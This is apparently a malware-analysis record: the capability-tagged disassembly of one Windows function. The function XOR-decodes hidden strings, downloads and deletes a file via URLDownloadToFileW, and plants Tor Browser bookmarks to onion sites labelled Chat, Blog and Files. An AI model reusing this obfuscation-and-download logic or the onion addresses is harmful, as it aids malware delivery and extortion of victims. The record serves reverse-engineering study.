Function at 0x14000132b
Capabilities:
Delete file
Download url
Get file size
Receive data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x618
movaps xmmword [rsp + 0x600], xmm11
movaps xmmword [rsp + 0x5f0], xmm10
movaps xmmword [rsp + 0x5e0], xmm9
movaps xmmword [rsp + 0x5d0], xmm8
movaps xmmword [rsp + 0x5c0], xmm7
movaps xmmword [rsp + 0x5b0], xmm6
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
lea rdi, [rsp + 0x364]
mov r14w, 0x33
movabs rbx, 0x3742405a03566e6f
lea r15, [rsp + 0x1e8]
mov r12, qword [sym.imp.USER32.dll_MessageBoxA]
movups xmm6, xmmword [0x1400023a8]
movups xmm7, xmmword [0x14000239a]
movups xmm8, xmmword [0x14000238a]
lea r13, [rsp + 0x80]
movups xmm9, xmmword [0x1400023d8]
movups xmm10, xmmword [0x1400023c8]
movups xmm11, xmmword [0x1400023b8]
mov ecx, 5
call rbp
mov r8d, 0x24b
nop
push rdi
pop rcx
lea rdx, [0x140002078]
call fcn.140001016
mov r8b, 0x30
sub ecx, ecx
sub r9d, r9d
mov eax, ecx
xor edx, edx
div r14w
cmp r9, 0x24b
je 0x140001424
imul eax, eax, 0x33
mov edx, r8d
sub dl, al
xor byte [rsp + r9 + 0x364], dl
inc r9
inc r8b
inc ecx
jmp 0x1400013f9
mov qword [rsp + 0x1e8], rbx
xor eax, eax
cmp rax, 8
je 0x140001443
lea ecx, [rax + 0x30]
xor byte [rsp + rax + 0x1e8], cl
inc rax
jmp 0x14000142e
sub ecx, ecx
nop
push rdi
pop rdx
mov r8, r15
mov r9d, 0x41010
call r12
cmp eax, 1
jne 0x1400013d5
mov r8d, 0xc6
mov rcx, r15
lea rdx, str.XEFCG
call fcn.140001016
movups xmmword [rsp + 0x9e], xmm6
movaps xmmword [rsp + 0x90], xmm7
movaps xmmword [rsp + 0x80], xmm8
sub eax, eax
cmp rax, 0x63
je 0x1400014ad
lea ecx, [rax - 0x33]
cmp rax, 0x33
cmovb ecx, eax
add ecx, 0x30
xor word [rsp + rax*2 + 0x1e8], cx
inc rax
jmp 0x14000148d
mov rcx, r13
call fcn.14000176e
and qword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, r15
mov r8, r13
xor r9d, r9d
call sub.urlmon.dll_URLDownloadToFileW
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov rcx, r13
mov edx, 0x80000000
mov r8d, 3
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140001750
mov rsi, rax
push rbp
pop rdi
nop
mov rbp, rbx
nop
push rax
pop rcx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r12d, eax
push rsi
nop
pop rcx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp r12d, 0x3a97f
ja 0x14000154e
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
push rbp
pop rbx
nop
push rdi
pop rbp
lea rdi, [rsp + 0x364]
mov r12, qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x140001750
movaps xmmword [rsp + 0x60], xmm9
movaps xmmword [rsp + 0x50], xmm10
movaps xmmword [rsp + 0x40], xmm11
mov dword [rsp + 0x70], 0x49001b
xor eax, eax
push rbp
nop
pop rbx
mov rbp, rdi
lea rdi, [rsp + 0x364]
mov r12, qword [sym.imp.USER32.dll_MessageBoxA]
cmp rax, 0x1a
je 0x140001592
lea ecx, [rax + 0x30]
xor word [rsp + rax*2 + 0x40], cx
inc rax
jmp 0x14000157f
lea rcx, [rsp + 0x40]
call fcn.14000109b
mov ecx, 0x4e20
call rbp
mov r8d, 0x8c
lea rcx, [rsp + 0x15c]
lea rdx, [0x1400023ec]
call fcn.140001016
sub eax, eax
cmp rax, 0x46
je 0x1400015df
lea ecx, [rax - 0x33]
cmp rax, 0x33
cmovb ecx, eax
add ecx, 0x30
xor word [rsp + rax*2 + 0x15c], cx
inc rax
jmp 0x1400015bf
lea rcx, [rsp + 0x15c]
call fcn.14000109b
mov ecx, 0x7d0
call rbp
mov r8d, 0xb6
lea rcx, [rsp + 0x2ae]
lea rdx, [0x140002478]
call fcn.140001016
sub eax, eax
cmp rax, 0x5b
je 0x14000162f
lea ecx, [rax - 0x33]
cmp rax, 0x33
cmovb ecx, eax
add ecx, 0x30
xor word [rsp + rax*2 + 0x2ae], cx
inc rax
jmp 0x14000160f
lea rcx, [rsp + 0x2ae]
call fcn.14000109b
mov ecx, 0x7d0
call rbp
mov r8d, 0x53
lea rcx, [rsp + 0x109]
lea rdx, [0x14000252e]
call fcn.140001016
sub eax, eax
cmp rax, 0x53
je 0x140001681
lea ecx, [rax - 0x33]
cmp rax, 0x33
movzx ecx, cl
cmovb ecx, eax
add cl, 0x30
xor byte [rsp + rax + 0x109], cl
inc rax
jmp 0x14000165f
mov r8d, 0x410
lea rcx, [rsp + 0x109]
lea rdx, str._META_HTTP_EQUIV_Content_Type__CONTENT_text_html__charsetUTF_8___n_meta_http_equiv_Content_Security_Policy__n______content_default_src_self__script_src_none__img_src_data:___object_src_none____meta__n_TITLE_Bookmarks__TITLE__n_H1_Bookmarks_Menu__H1__n_DL__p__n_____DT__H3_Tor_Project_Bookmarks__H3__n_____DL__p__n______DL__p__n_____HR______DT__H3_PERSONAL_TOOLBAR_FOLDER_true__Bookmarks_Toolbar__H3__n_____DL__p__n_________DT__A_HREF_http:__qkbbaxiuqqcqb5nox4np4qjcniy2q6m7yeluvj7n5i5dn7pgpcwxwfid.onion___ICON_URI_http:__qkbbaxiuqqcqb5nox4np4qjcniy2q6m7yeluvj7n5i5dn7pgpcwxwfid.onion_assets_favicon_16.png__Chat__A__n_________DT__A_HREF_http:__sbc2zv2qnz5vubwtx3aobfpkeao6l4igjegm3xx7tk5suqhjkp5jxtqd.onion___ICON_URI_http:__qkbbaxiuqqcqb5nox4np4qjcniy2q6m7yeluvj7n5i5dn7pgpcwxwfid.onion_assets_favicon_16.png__Blog__A__n_________DT__A_HREF_http:__dk4mkfzqai6ure62oukzgtypedmwlfq57yj2fube7j5wsoi6tuia7nyd.onion___ICON_URI_http:__dk4mkfzqai6ure62oukzgtypedmwlfq57yj2fube7j5wsoi6tuia7nyd.onion_7a2ffe39dd__Files__A__n______DL__p__n__DL__nuser_pref__browser.compactmode.show___true___nuser_pref__browser.laterrun.enabled___true___nuser_pref__browser.launcherProcess.enabled___true___nuser_pref__browser.onboarding.tour_type____new____nuser_pref__browser.pageActions.persistedActions_____ids_:__bookmark____idsInUrlbar_:__bookmark____idsInUrlbarPreProton_:____version_:1____nuser_pref__browser.places.importBookmarksHTML___false___nuser_pref__browser.startup.couldRestoreSession.count___1___nuser_pref__browser.theme.content_theme___1___nuser_pref__browser.toolbars.bookmarks.visibility____never____nuser_pref__browser.uiCustomization.state_____placements_:_widget_overflow_fixed_list_:____nav_bar_:__back_button___forward_button___stop_reload_button___personal_bookmarks___urlbar_container___save_to_pocket_button___downloads_button___fxa_toolbar_menu_button____toolbar_menubar_:__menubar_items____TabsToolbar_:__tabbrowser_tabs___new_tab_button___alltabs_button____PersonalToolbar_:____seen_:___73a6fe31_595d_460b_a920_fcc0f8843232__browser_action___developer_button____dirtyAreaCache_:__PersonalToolbar___nav_bar___toolbar_menubar___TabsToolbar____currentVersion_:17__newElementCount_:5____nuser_pref__browser.uidensity___1___nuser_pref__extensions.activeThemeID____firefox_compact_light_mozilla.org____nuser_pref__torbrowser.migration.version___1___nuser_pref__torbrowser.settings.quickstart.enabled___true___nuser_pref__extensions.torbutton.startup___true___nuser_pref__extensions.torlauncher.prompt_at_startup___false___nuser_pref__extensions.torlauncher.quickstart___true___nuser_pref__extensions.activeThemeID____firefox_compact_light_mozilla.org____nuser_pref__intl.language_notification.shown___true___n
call fcn.140001033
mov ecx, 0x3e8
call rbp
mov r8d, 0x4d
lea rcx, [rsp + 0xbc]
lea rdx, [0x140002581]
call fcn.140001016
xor eax, eax
cmp rax, 0x4d
je 0x1400016e0
lea ecx, [rax - 0x33]
cmp rax, 0x33
movzx ecx, cl
cmovb ecx, eax
add cl, 0x30
xor byte [rsp + rax + 0xbc], cl
inc rax
jmp 0x1400016be
mov r8d, 0x6c0
lea rcx, [rsp + 0xbc]
lea rdx, [0x140003410]
call fcn.140001033
mov ecx, 0x3e8
call rbp
mov r8d, 0xdc
nop
push rdi
pop rcx
lea rdx, [0x1400025ce]
call fcn.140001016
mov cl, 0x30
xor edx, edx
mov r9b, 0x33
movzx eax, dl
div r9b
cmp rdx, 0x6e
je 0x140001748
movzx eax, al
imul eax, eax, 0x33
mov r8d, ecx
sub r8b, al
movzx eax, r8b
xor word [rsp + rdx*2 + 0x364], ax
inc rdx
inc cl
jmp 0x14000171d
push rdi
nop
pop rcx
call fcn.14000109b
mov ecx, 0x7d0
call rbp
mov rcx, r13
call fcn.14000176e
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x1400013d5